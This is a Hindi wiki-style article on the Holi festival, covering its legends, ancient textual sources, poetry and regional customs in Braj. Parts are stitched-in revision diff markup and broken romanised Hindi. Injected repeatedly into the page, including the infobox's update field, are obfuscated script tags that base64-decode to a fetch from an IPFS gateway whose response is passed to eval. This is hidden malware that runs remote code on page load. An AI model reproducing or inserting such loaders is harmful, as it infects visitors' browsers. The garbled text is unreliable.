होली [[बसंत ऋतु|बसंत]] व प्रेम-प्रणव का पर्व है तथा [[धर्म]] की अधर्म पर विजय का प्रतीक है। यह [[रंग|रंगों]] का, हास-परिहास का भी पर्व है। यह वह त्योहार है, जिसमें लोग 'क्या करना है, तथा क्या नहीं करना' के जाल से अलग होकर स्वयं को स्वतंत्र महसूस करते हैं। यह वह पर्व है, जिसमें आप पूर्ण रूप से स्वच्छंद हो, अपनी पसंद का कार्य करते हैं, चाहे यह किसी को छेड़ना हो या अज़नबी के साथ भी थोड़ी शरारत करनी हो। इन सबका सर्वोत्तम रूप यह है कि सभी कटुता, क्रोध व निरादर ''बुरा न मानो होली है'' की ऊँची ध्वनि में डूबकर घुल-मिल जाता है। ''बुरा न मानो होली है'' की करतल ध्वनि होली की लंबी परम्परा का अभिन्न अंग है। | होली [[बसंत ऋतु|बसंत]] व प्रेम-प्रणव का पर्व है तथा [[धर्म]] की अधर्म पर विजय का प्रतीक है। यह [[रंग|रंगों]] का, हास-परिहास का भी पर्व है। यह वह त्योहार है, जिसमें लोग 'क्या करना है, तथा क्या नहीं करना' के जाल से अलग होकर स्वयं को स्वतंत्र महसूस करते हैं। यह वह पर्व है, जिसमें आप पूर्ण रूप से स्वच्छंद हो, अपनी पसंद का कार्य करते हैं, चाहे यह किसी को छेड़ना हो या अज़नबी के साथ भी थोड़ी शरारत करनी हो। इन सबका सर्वोत्तम रूप यह है कि सभी कटुता, क्रोध व निरादर ''बुरा न मानो होली है'' की ऊँची ध्वनि में डूबकर घुल-मिल जाता है। ''बुरा न मानो होली है'' की करतल ध्वनि होली की लंबी परम्परा का अभिन्न अंग है। | ||
| + | ==मदनोत्सव== | ||
| + | दशकुमार चरित में होली का उल्लेख 'मदनोत्सव' के नाम से किया गया है। वसंत काम का सहचर है, इसीलिए [[वसंत ऋतु]] में मदनोत्सव मनाने का विधान है। हमारे यहां काम को दैवी स्वरूप प्रदान कर उसे [[कामदेव]] के रूप में मान्यता दी गई है। यदि काम इतना विकृत होता तो भगवान [[शिव]] अपनी क्रोधाग्नि में 'काम' को भस्म करने के बाद उसे 'अनंग' रूप में फिर से क्यों जीवित करते? इसका अर्थ यह है कि 'काम' का साहचर्य उत्सव मनाने योग्य है। जब तक वह मर्यादा में रहता है, उसे भगवान की विभूति माना जाता है। लेकिन जब वह मर्यादा छोड़ देता है तो आत्मघाती बन जाता है, शिव का तीसरा नेत्र (विवेक) उसे भस्म कर देता है। भगवान शिव द्वारा किया गया काम-संहार हमें यही समझाता है। त्योहार हमारी सांस्कृतिक चेतना के प्रतीक हैं। वे आशा, आकांक्षा, उत्साह एवं उमंग के प्रदाता हैं तथा मनोरंजन, उल्लास एवं आनंद दे कर वे हमारे जीवन को सरस बनाते हैं। त्योहार युगों से चली आ रही हमारी सांस्कृतिक धरोहरों, परंपराओं, मान्यताओं एवं सामाजिक मूल्यों का मूर्त प्रतिबिंब हैं, जो हमारी संस्कृति का अंतरस्पर्शी दर्शन कराते हैं। त्योहारों की इस प्रथा ने ही [[भारत]] को मानवभूमि से देवभूमि बना दिया है। [[कालिदास]] ने मानव को उत्सव प्रेमी बताया है- उत्सवप्रिया खलु मनुष्या:! उत्सव मानव जीवन में उल्लास एवं आनंद की सृष्टि करते हैं। सत्, चित, आनंद रूपी त्रिगुणात्मक ब्रह्मा का एक तत्व है- आनंद। आनंद-उल्लास मानव के जीवन में मंगल एवं सौभाग्य को आमंत्रित करते हैं। होली वसंत ऋतु का यौवनकाल है, [[ग्रीष्म ऋतु|ग्रीष्म]] के आगमन का सूचक! यह 'नवान्नवेष्टि यज्ञ' भी कहलाता है। [[फाल्गुन]] [[शुक्ल पक्ष|शुक्ल]] [[पूर्णिमा]] के दिन प्राचीन आर्यजन नए [[गेहूं]] और [[जौ]] की बालियों से अग्निहोत्र का प्रारंभ करते थे। कर्मकांड परंपरा में इसे 'यव ग्रहण यज्ञ' का नाम दिया गया। अनाज की बालियों को [[संस्कृत]] में 'होलक' कहते हैं। देश के उत्तरी भाग में आज भी चने की भुनी बालियों को होला कहते हैं। वसंत में [[सूर्य]] [[दक्षिणायण]] से [[उत्तरायण]] में आ जाता है। फल-फूलों की नई सृष्टि के साथ [[ऋतु]] भी 'अमृत प्राण' हो जाती है। इसलिए होली के पर्व को 'मन्वन्तरांभ' भी कहा गया है। होली के साथ अनेक कथाएं जुड़ी हैं। पहली कथा [[प्रह्लाद]] एवं [[होलिका]] से संबंधित है। प्रह्लाद का पिता [[हिरण्यकशिपु]] नास्तिक था। उसने अपने राज्य में ईश्वर की पूजा करने पर प्रतिबंध लगा रखा था। किंतु उसका पुत्र प्रह्लाद ईश्वर भक्त था। अनेक कष्ट सहकर भी उसने ईश्वर भक्ति नहीं छोड़ी। [[महादेवी वर्मा]] ने इसकी व्याख्या इस तरह की है कि 'प्रह्लाद का अर्थ है परम आह्लाद अथवा परम आनंद। किसान के लिए नए अन्न से अधिक आनंद और क्या हो सकता है?' अपनी फसल पाकर और मौसम की प्रतिकूलताओं से मुक्त हो कर आत्मविभोर किसान नाचता है, गाता है और अग्नि देवता को नवान्न की आहुति देता है। दूसरी पौराणिक कथा के अनुसार ढूण्डा नामक एक राक्षसी बच्चों को बहुत पीड़ा पहुंचाती थी और उन्हें मार डालती थी। एक बार वह पकड़ी गई और लोगों ने क्रोध में आकर उसे जीवित जला दिया। इसी घटना की स्मृति में होली जलाई जाती है। होली की अग्नि में बालकों की अलाय-बलाय का समर्पण कर उनकी सुख शांति की कामना की जाती है। यदि ढूण्डा को आप ठंड नामक राक्षसी मान लें तो बच्चों के कष्ट और राक्षसी के जाने की खुशी की बात बहुत अच्छी तरह समझ में आ जाती है। होली से अगले दिन [[धुलेंडी|धुलैण्डी]] होती है। [[रंग]] में सराबोर होकर फाग खेला जाता है। रंगभरी होली जीवन की रंगीनी प्रकट करती है। पारिवारिक होली के अपने ही रंग हैं। [[कृष्ण]] गोपियों की होली तो अद्भुत है। होली के शील और सौहार्द भरे रिवाजों में आज अनेक विकृतियों का समावेश हो गया है। होली के अवसर पर उच्चारित होने वाले वेदमंत्रों का स्थान अश्लील और असभ्य वचनों ने ले लिया है और रंग-बिरंगे [[गुलाल]] की जगह रासायनिक रंग आ गए हैं। इसने होली की धवल फाल्गुनी पूर्णिमा पर [[ग्रहण]] की काली छाया डाल दी है, जिसने पर्व की पवित्रता और अनुभूति को तिरोहित कर दिया है। वास्तव में [[आत्मा]] के मधुरतम और प्रियतम भावों का अनुभव किए बिना होली के अवसर पर प्रकट होने वाले अनुराग को अनुभव नहीं किया जा सकता।<ref>{{cite web |url=http://hindi.speakingtree.in/spiritual-articles/mysticism/content-247073 |title=उमंग और उल्लास से भरा यही तो है मदनोत्सव |accessmonthday=1 जून |accessyear=2015 |last= भूषण|first=ललित |authorlink= |format= |publisher=Speaking tree.in |language=हिन्दी }}</ref> | ||
{{seealso|मथुरा होली चित्र वीथिका|बरसाना होली चित्र वीथिका|बलदेव होली चित्र वीथिका}} | {{seealso|मथुरा होली चित्र वीथिका|बरसाना होली चित्र वीथिका|बलदेव होली चित्र वीथिका}} | ||
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==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
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Revision as of 12:04, 28 February 2018
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holi
| |
| any nam | dol yatra ya dol poornima (pashchim bangal), kaman podigee (tamilanadu), hola mohalla (panjab), kamana habba (karnatak), phagua (bihar), rangapanchami (maharashtr), shimago (gova), dhuleandi (hariyana), govianda holi (gujarat), yosaang holi (manipur) adi. |
| anuyayi | hindoo, bharatiy, bharatiy pravasi |
| uddeshy | dharmik nishtha, samajik ekata, manoranjan |
| prarambh | pauranik kal |
| tithi | phalgun poornima |
| utsav | rang khelana, hu dadang, mauj-masti |
| anushthan | holika dahan |
| prasiddhi | latthamar holi (barasana) |
| sanbandhit lekh | braj mean holi, holika, holika dahan, krishna, radha, gopi, hiranyakashipu, prahlad, gulal, daooji ka huranga, phalen ki holi, rangabharani ekadashi adi. |
| varsh 2024 | sal 2024 mean holika dahan shubh muhoort 24 march ko rat 11 bajakar 13 minat se der rat 12 bajakar 27 minat tak hai. 25 march ko holi kheli jayegi. |
| adyatan | 16:34, 11 faravari 2024 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
holi (aangrezi: Holi) bharat ka pramukh tyohar hai. holi jahaan ek or samajik evan dharmik tyohar hai, vahian rangoan ka bhi tyohar hai. bal-vriddh, nar-nari sabhi ise b de utsah se manate haian. isamean jatibhed-varnabhed ka koee sthan nahian hota. is avasar par lak diyoan tatha kandoan adi ka dher lagakar holikapoojan kiya jata hai phir usamean ag lagayi jati hai. poojan ke samay mantr uchcharan kiya jata hai.
- REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
itihas
prachalit manyata ke anusar yah tyohar hiranyakashipu ki bahan holika ke mare jane ki smriti mean manaya jata hai. puranoan mean varnit hai ki hiranyakashipu ki bahan holika varadan ke prabhav se nity agni snan karati thi aur jalati nahian thi. hiranyakashipu ne apani bahan holika se prahlad ko god mean lekar agni snan karane ko kaha. usane samajha ki aisa karane se prahlad agni mean jal jaega tatha holika bach jaegi. holika ne aisa hi kiya, kiantu holika jal gayi, prahlad bach gaye. holika ko yah smaran hi nahian raha ki agni snan vah akele hi kar sakati hai. tabhi se is tyohar ke manane ki pratha chal p di.[[chitr:Holi-1.jpg|thumb|left|bazar mean vibhinn rangoan ka drishy]]
prachin shabdaroop
yah bahut prachin utsav hai. isaka arambhik shabdaroop holaka tha.[1] bharat mean poorvi bhagoan mean yah shabd prachalit tha. jaimini evan shabar ka kathan hai ki 'holaka' sabhi aryo dvara sampadit hona chahie. kathakagrihy[2] mean ek sootr hai 'raka hola ke', jisaki vyakhya tikakar devapal ne yoan ki hai- 'hola ek karm-vishesh hai jo striyoan ke saubhagy ke lie sampadit hota hai, us krity mean raka[3] devata hai.'[4] any tikakaroan ne isaki vyakhya any roopoan mean ki hai. 'holaka' un bis kri daoan mean ek hai jo sampoorn bharat mean prachalit haian. isaka ullekh vatsyayan ke kamasootr[5] mean bhi hua hai jisaka arth tikakar jayamangal ne kiya hai. phalgun ki poornima par log shrriang se ek-doosare par rangin jal chho date haian aur sugandhit choorn bikherate haian. hemadri[6] ne brihadyam ka ek shlok udbhrit kiya hai. jisamean holika-poornima ko hutashani[7] kaha gaya hai. liang puran mean aya hai- 'phalgun poornima ko 'phalgunika' kaha jata hai, yah bal-kri daoan se poorn hai aur logoan ko vibhooti, aishvary dene vali hai.' varah puran mean aya hai ki yah 'patavas-vilasini' [8] hai. [9]
shatabdiyoan poorv se holika utsav
thumb|bazar mean pichakariyaan jaimini evan kathakagrihy mean varnit hone ke karan yah kaha ja sakata hai ki eesa ki kee shatabdiyoan poorv se 'holaka' ka utsav prachalit tha. kamasootr evan bhavishyottar puran ise vasant se sanyukt karate haian, at: yah utsav poornimant ganana ke anusar varsh ke ant mean hota tha. at: holika hemant ya patajh d ke ant ki soochak hai aur vasant ki kam-premamay lilaoan ki dyotak hai. masti bhare gane, nrity evan sangit vasantagaman ke ullasapoorn kshanoan ke parichayak haian. vasant ki anandabhivyakti rangin jal evan lal rang, abir-gulal ke parasparik adan-pradan se prakat hoti hai. kuchh pradeshoan mean yah rang yukt vatavaran 'holika ke din' hi hota hai, kintu dakshin mean yah holika ke paanchavean din (rang-panchami) manayi jati hai. kahian-kahian rangoan ke khel pahale se arambh kar diye jate haian aur bahut dinoan tak chalate rahate haian; holika ke poorv hi 'pahunee' mean aye hue log ek-doosare par pank (kich d) bhi pheankate haian.[10] kahian-kahian do-tin dinoan tak mitti, rang, gan adi se log matavale hokar dal bana kar holi ka hu dadang machate haian, s dakean lal ho jati haian. vastav mean yah utsav prem karane se sambandhit hai, kintu shishtajanoan ki nariyaan in dinoan bahar nahian nikal patian, kyoanki unhean bhay rahata hai ki log bhaddi galiyaan n de baithean. shri gupte ne apane lekh[11] mean prakat kiya hai ki yah utsav eejipt, misr ya gris, yoonan se liya gaya hai. kintu yah bhramak drishtikon hai. lagata hai, unhoanne bharatiy prachin granthoan ka avalokan nahian kiya hai, doosare, ve is vishay mean bhi nishchit nahian haian ki is utsav ka udgam mistr se hai ya yoonan se. unaki dharana ko gambhirata se nahian lena chahie.
holika
hemadri[12] ne bhavishyottar[13] se uddharan dekar ek katha di hai. yudhishthir ne krishna se poochha ki phalgun-poornima ko pratyek gaanv evan nagar mean ek utsav kyoan hota hai, pratyek ghar mean bachche kyoan kri damay ho jate haian aur 'holaka' kyoan jalate haian, usamean kis devata ki pooja hoti hai, kisane is utsav ka prachar kiya, isamean kya hota hai aur yah 'adada' kyoan kahi jati hai. [[chitr:Holika-Prahlad-1.jpg|thumb|prahlad ko god mean bithakar baithi holika|220px|left]] krishna ne yudhishthir se raja raghu ke vishay mean ek kianvadanti kahi. raja raghu ke pas log yah kahane ke lie gaye ki 'dhondha' namak ek rakshasi hai jise shiv ne varadan diya hai ki use dev, manav adi nahian mar sakate haian aur n vah astr shastr ya ja da ya garmi ya varsha se mar sakati hai, kintu shiv ne itana kah diya hai ki vah kri dayukt bachchoan se bhay kha sakati hai. purohit ne yah bhi bataya ki phalgun ki poornima ko ja de ki rritu samapt hoti hai aur grishm rritu ka agaman hota hai, tab log hansean evan anand manayean, bachche lak di ke tuk de lekar bahar prasannatapoorvak nikal p dean, lak diyaan evan ghas ekatr karean, rakshoghn mantroan ke sath usamean ag lagayean, taliyaan bajayean, agni ki tin bar pradakshina karean, hansean aur prachalit bhasha mean bhadde evan ashlil gane gayean, isi shoragul evan attahas se tatha hom se vah rakshasi maregi. jab raja ne yah sab kiya to rakshasi mar gayi aur vah din 'adada' ya 'holika' kaha gaya. age aya hai ki doosare din chaitr ki pratipada par logoan ko holikabhasm ko pranam karana chahie, mantrochcharan karana chahie, ghar ke praangan mean vargakar sthal ke madhy mean kam-pooja karani chahie. kam-pratima par sundar nari dvara chandan-lep lagana chahie aur pooja karane vale ko chandan-lep se mishrit amr-baur khana chahie. isake uparant yathashakti brahmanoan, bhatoan adi ko dan dena chahie aur 'kam devata mujh par prasann hoan' aisa kahana chahie. isake age puran mean aya hai- 'jab shukl paksh ki 15vian tithi par patajh d samapt ho jata hai aur vasant rritu ka prat: agaman hota hai to jo vyakti chandan-lep ke sath amr-manjari khata hai vah anand se rahata hai.'[14]
holika dahan
[[chitr:Holi-Holika-Dahan-Mathura.jpg|holika dahan, mathura|thumb]]
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
holika dahan poorn chandrama (phalgun poornima) ke din hi praranbh hota hai. is din sayankal ko holi jalaee jati hai. isake ek mah poorv arthath magh poornima ko 'erand' ya goolar vriksh ki tahani ko gaanv ke bahar kisi sthan par ga d diya jata hai, aur us par lak diyaan, sookhe upale, khar-patavar adi charoan se ekatr kiya jata hai aur phalgun poornima ki rat ya sayankal ise jalaya jata hai. paranpara ke anusar sabhi log alav ke charoan or ekatrit hote haian. [[chitr:Radha-Krishna-Holi-Barsana-Mathura-12.jpg|thumb|left|150px|radha-krishna ki chhavi mean brajavasi, barasana]] isi alav ko 'holi' kaha jata hai. holi ki agni mean sookhi pattiyaan, tahaniyaan v sookhi lak diyaan dali jati haian tatha log isi agni ke charoan or nrity v sangit ka anand lete haian.
holi aur radha-krishna ki katha
bhagavan shrikrishna to saanvale the, parantu unaki atmik sakhi radha gauravarn ki thi. isalie balkrishna prakriti ke is anyay ki shikayat apani maan yashoda se karate tatha isaka karan janane ka prayatn karate. ek din yashoda ne shrikrishna ko yah sujhav diya ki ve radha ke mukh par vahi rang laga dean, jisaki unhean ichchha ho. natakhat shrikrishna yahi kary karane chal p de. ap chitroan v any bhakti akritiyoan mean shrikrishna ke isi krity ko jisamean ve radha v any gopiyoan par rang dal rahe haian, dekh sakate haian. yah premamayi shararat shighr hi logoan mean prachalit ho gee tatha holi ki paranpara ke roop mean sthapit huee. isi rritu mean log radha v krishna ke chitroan ko sajakar s dakoan par ghoomate haian. mathura ki holi ka vishesh mahattv hai, kyoanki mathura mean hi krishna ka janm hua tha.
holi aur dhuandhi ki katha
[[chitr:Baldev-Holi-Mathura-21.jpg|thumb|220px|daooji ka huranga, baladev]] bhavishy puran mean varnit hai ki satyayug mean raja raghu ke rajy mean mali namak daity ki putri dhoandha ya dhuandhi thi. usane shiv ki ugr tapasya ki. shiv ne var maangane ko kaha. usane var maanga- prabho! devata, daity, manushy adi mujhe mar n sakean tatha astr-shastr adi se bhi mera vadh n ho. sath hi din mean, ratri mean, shitakal mean, ushnakal tatha varshakal mean, bhitar-bahar kahian bhi mujhe kisi se bhay nahian ho.' shiv ne tathastu kaha tatha yah bhi chetavani di ki tumhean unmatt balakoan se bhay hoga. vahi dhoandha namak rakshasi balakoan v praja ko pi dit karane lagi. 'adada' mantr ka uchcharan karane par vah shaant ho jati thi. isi se use 'adada' bhi kahate haian. is prakar bhagavan shiv ke abhishap vash vah gramin balakoan ki shararat, galiyoan v chillane ke age vivash thi. aisa vishvas kiya jata hai ki holi ke din hi sabhi balakoan ne apani ekata ke bal par age badhakar dhuandhi ko gaanv se bahar dhakela tha. ve zor-zor se chillate hue tatha chalaki se usaki or badhate hi gaye. yahi karan hai ki is din navayuvak kuchh ashisht bhasha mean hansi majak kar lete haian, parantu koee unaki bat ka bura nahian manata.
- REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
holi ki prachin kathaean
- ek kahani yah bhi hai ki kans ke nirdesh par jab rakshasi pootana shrikrishna ko marane ke lie unako vishapoorn dugdhapan karana shuroo kiya lekin shrikrishna ne doodh pite-pite use hi mar dala. kahate haian ki usaka sharir bhi lupt ho gaya to gaanv valoan ne pootana ka putala bana kar dahan kiya aur khushiyaan manaeean. tabhi se mathura me holi manane ki paranpara hai.[15]
- ek any mukhy dharana hai ki himalay putri parvati bhagavan shiv se vivah karana chahati thian. chooanki shankar ji tapasya mean lin the isalie kamadev parvati ki madad ke lie ae. kamadev ne apana premaban chalaya jisase bhagavan shiv ki tapasya bhang ho gee. shivashankar ne krodh mean akar apani tisara netr khol diya. jisase bhagavan shiv ki krodhagni mean jalakar kamadev bhasm ho ge. phir shankar ji ki nazar parvati ji par gee. shivaji ne parvati ji ko apani patni bana liya aur shiv ji ko pati ke roop mean pane ki parvati ji ki aradhana saphal ho gee. holi ke agni mean vasanatmak akarshan ko pratikatmak roop se jalakar sachche prem ke vijay ke roop mean yah tyohar vijayotsav ke roop mean manaya jata hai.[15]
- manusmriti mean isi din manu ke janm ka ullekh hai. kaha jata hai manu hi is prithvi par ane vale sarvapratham manav the. isi din 'nar-narayan' ke janm ka bhi varnan hai jinhean bhagavan vishnu ka chautha avatar mana jata hai.[15]
- satayug mean bhavishyotarapooran nagar mean chhote se lekar b doan ko sardi-jukam jaisi bimariyaan lag gee. vahaan ke log ise dyuandha nam ki rakshasi ka prabhav man rahe the. isase raksha ke lie ve log ag ke pas rahate the. samany taur par mausam parivartan ke samay logoan ko is tarah ki bimariyaan ho jati haian, jisamean agni rahat pahuanchati hai. ‘shami’ ka pe d jise agni-shakti ka pratik mana gaya tha, use jalaya gaya aur agale din satyayugin raja raghu ne holi manayi.[15]
is tarah dekhate haian ki holi vibhinn yugoan mean tarah-tarah se aur anek namoan se manayi gayi aur aj bhi manaee ja rahi hai. is tarah kah sakate haian ki asaty par saty ki ya buraee par achchhaee par jit ki khushi ke roop mean holi manayi jati hai. isake rangoan mean rang kar ham tamam khushiyoan ko atmasat kar lete haian.
sahity mean holi ki jhalak
prachin kal ke sanskrit sahity mean holi ke anek roopoan ka vistrit varnan hai. shrimadbhagavat mahapuran mean rasoan ke samooh ras ka varnan hai. any rachanaoan mean 'rang' namak utsav ka varnan hai jinamean harsh ki priyadarshika v ratnavali tatha kalidas ki kumarasanbhavamh tatha malavikagnimitramh shamil haian. kalidas rachit rritusanhar mean poora ek sarg hi 'vasantotsav' ko arpit hai. bharavi, magh aur any kee sanskrit kaviyoan ne vasant ki khoob charcha ki hai. chandabaradaee dvara rachit hiandi ke pahale mahakavy prithviraj raso mean holi ka varnan hai. bhaktikal aur ritikal ke hindi sahity mean holi aur phalgun mah ka vishisht mahatv raha hai. adikalin kavi vidyapati se lekar bhaktikalin sooradas, rahim, rasakhan, padmakar, malik muhammad jayasi, mirabaee, kabir aur ritikalin bihari, keshav, ghananand adi anek kaviyoan ko yah vishay priy raha hai. mahakavi sooradas ne basant evan holi par 78 pad likhe haian. padmakar ne bhi holi vishayak prachur rachanaean ki haian.[16]soofi sant hazarat nizamuddin auliya, amir khusaro aur bahadurashah zafar jaise muslim sanpraday ka palan karane vale kaviyoan ne bhi holi par suandar rachanaean likhi haian jo aj bhi jan samany mean lokapriy haian. adhunik hiandi kahaniyoan premachand ki raja haradol, prabhu joshi ki alag alag tiliyaan, tejeandr sharma ki ek bar phir holi, om prakash avasthi ki holi mangalamay ho tatha svadesh rana ki ho li mean holi ke alag alag roop dekhane ko milate haian.
sanskrit shabd 'holakka' se holi shabd ka janm hua hai. vaidik yug mean 'holakka' ko aisa ann mana jata tha, jo devoan ka mukhy roop se khady-padarth tha. bangal mean holi ko dol yatra ya jhoolan parv, dakshin bharat mean kamathanam, madhy pradesh ke chhattisagadh mean ’gol badhedo’ nam se utsav manaya jata hai aur uttaraanchal mean lok sangit v shastriy sangit ki pradhanata hai. 'priyadarshika', 'ratnavali', 'kumar sambhav' sabhi mean rang ka varnan aya hai. kalidas rachit 'rritusanhar' mean poora ek sarg hi 'vasantotsav' ko arpit hai. 'bharavi', 'magh' jaise sanskrit kaviyoan ne bhi vasant aur holi parv ka ullekh apani rachanaoan mean kiya hai. 'prithviraj raso' mean holi ka varnan hai. padmakar ne bhi holi ko lekar kee masti bhare pad likhe haian jinamean prakriti aur dharati mata ke holi khelane ke bhavoan ko prakat kiya gaya hai.[17]
urdoo sahity mean holi
| [[chitr:Krishna Janm Bhumi Holi Mathura 1.jpg|180px|holi, krishna janmabhoomi, mathura]] |
| holi, krishna janmabhoomi, mathura |
| [[chitr:Krishna Janm Bhumi Holi Mathura 3.jpg|180px|holi, krishna janmabhoomi, mathura]] |
| holi, krishna janmabhoomi, mathura |
| 180px|krishna holi lila |
| krishna holi lila |
| 180px| holi, raman reti, mahavan |
| holi, raman reti, mahavan |
mugal kal mean rache ge urdoo sahity mean dag dehalavi, hatim, mir, kuli kutubashah, mahazoor, bahadur shah zafar, nazir, atish, khvaja haidar ali 'atish', iansha aur taanba jaise kee nami shayaroan ne holi ki masti aur radha krishna ke nishchchhal pyar ko apani shayari mean bahut khoobasoorati se piroya hai. urdoo ke jane mane shayar nazir akabarabadi par urdoo adab ke bharat ki sanskriti aur paranparaoan ka zabardast asar tha. 150 sal pahale likhi gee unaki rachanaean 'nazir ki bani' ke nam se prasiddh hai. unhoanne jis masti ke sath holi ka varnan kiya hai. usako padhakar hi us daur mean kheli jane vali holi ki masti ki mahak madamast kar deti hai.
- urdoo ke jane mane shayar nazir akabarabadi ki ek kavita
jab phagun rang jhamakate hoan tab dekh baharean holi ki.
aur daf ke shor kh dakate hoan tab dekh baharean holi ki.
pariyoan ke rang damakate hoan tab dekh baharean holi ki.
kham shish-e-jam chhalakate hoan tab dekh baharean holi ki.
mahaboob nashe mean chhakate hoan tab dekh baharean holi ki.[18]
- amir khusaro ne holi ko apane soofi aandaz mean kuchh aise dekha hai-
daiyya re mohe bhijoya ri, shah nijam ke rang mean
kap de rang ke kuchh n hot hai, ya rang mean tan ko duboya ri.[19]
- aantim mugal badashah bahadur shah zafar ke shabdoan mean holi ki masti ka rang kuchh is tarah dikhaee deta hai
kyoan mo pe rang ki mari pichakari
dekho kuanvaraji dooangi maian gari...[19]
bhakti kal mean holi
priy deh achheh bhari duti deh, diyai tarunaee ke teh tuli.
ati hi gati dhir samir lagai, mridu hemalata jimi jati duli.
ghananand khel ulail datai, bil saian, khul saian lat bhoomi jhuli.
sudhi suandar bhal pai mauanhani bich, gulal ki kaisi khuli tikuli.[19]
- bhakti kal ke mahakavi padmakar ne krishna aur radha ki holi ki masti ko kuchh yoan bayan karate haian-
phag ki mir amirani jyoan, gahi goviand lai gee bhitar gori,
may kari man ki padmakar, oopar nay abir ki jhori.
chhin pitanbar kammar te, subida dee mid kapolan rori,
nain nachay muskay kahean, lala phir aiyo khelan hori.[19]
- bharateanduji bhi to 'phaguniya' jate haian aur phir gate bhi haian-
gale mujhako laga lo ai mere diladar holi mean,
bujhe dil ki lagi meri bhi e yar holi mean.[19]
braj mean phag utsav
phalgun ke mah rangabharani ekadashi se sabhi mandiroan mean phag utsav prarambh hote haian jo dauj tak chalate haian. dauj ko baldev (daooji) mean huranga hota hai. barasana, nandagaanv, jav, bathain, jatipura, anyaur adi mean bhi holi kheli jati hai . yah braj ka vishesh tyohar hai. yoan to puranoan ke anusar isaka sambandh puran kathaoan se hai aur braj mean bhi holi isi din jalaee jati hai. isamean yajn roop mean navin ann ki balean bhooni jati haian. prahlad ki katha ki prerana isase milati haian. holi dahan ke din kosi ke nikat phalain gaanv mean 'prahlad kund' ke pas 'bhakt prahlad ka mela' lagata hai. yahaan tez jalati huee holi mean se nange badan aur nange paanv panda nikalata hai. [[chitr:Holi Barsana Mathura 1.jpg|latthamar holi, barasana |thumb|250px]] shrikrishna radha aur gopiyoan–gvaloan ke bich ki holi ke roop mean gulal, rang, kesar ki pichakari se khoob khelate haian. holi ka arambh phalgun shukl navami barasana se hota hai. vahaan ki lathamar holi vishv prasiddh hai. dashami ko aisi hi holi nandagaanv mean hoti hai. isi ke sath poore braj mean holi ki dhoom machati hai. dhoolean di ko pray: holi poorn ho jati hai, isake pahale hurange chalate haian, jinamean mahilayean rangoan ke sath lathiyoan, ko doan adi se purushoan ko gherati haian. yah sab dharmik vatavaran hota hai. holi ya holika anand evan ullas ka aisa utsav hai jo sampoorn desh mean manaya jata hai. utsav manane ke dhang mean kahian-kahian antar paya jata hai. pashchim bangal ko chho dakar holika-dahan sarvatr dekha jata hai. bangal mean phalgun poornima par 'krishna-pratima ka jhoola' prachalit hai kintu yah bharat ke adhikaansh sthanoan mean nahian dikhaee p data. is utsav ki avadhi vibhinn prantoan mean vibhinn hai. is avasar par log baans ya dhatu ki pichakari se rangin jal chho date haian ya abir-gulal lagate haian. kahian-kahian ashlil gane bhi gaye jate haian. isamean jo dharmik tattv hai vah hai bangal mean krishna-pooja karana tatha kuchh pradeshoan mean purohit dvara holika ki pooja karavana. log holika dahan ke samay parikrama karate haian, agni mean nariyal pheankate haian, gehooan, jau adi ke danthal pheankate haian aur inake adhajale aansh ka prasad banate haian. kahian-kahian log hatheli se mukh-svar utpann karate haian.
duleandi
[[chitr:Gujia.jpg|thumb|gujhiya]] yah tyohar holi ke agale din, rang divas ke roop mean manaya jata hai. is parv par kishor-kishoriyaan, vayask v vriddh sabhi ek-doosare par gulal barasate haian tatha pichakariyoan se gile rang lagate haian. paranparik roop se keval prakritik v j di-bootiyoan se nirmit rangoan ka prayog hota hai, parantu aj kal kritrim rangoan ne inaka sthan le liya hai. ajakal to log jis-kisi ke sath bhi shararat ya majak karana chahate haian. usi par rangile jhag v rangoan se bhare gubbare marate haian. prem se bhare yah - narangi, lal, hare, nile, baiangani tatha kale rang sabhi ke man se katuta v vaimanasy ko dho dete haian tatha samudayik mel-jol ko badhate haian. is din sabhi ke ghar pakavan v mishthan banate haian. log ek- doosare ke ghar jakar gale milate haian aur pakavan khate haian.
svadisht vyanjan
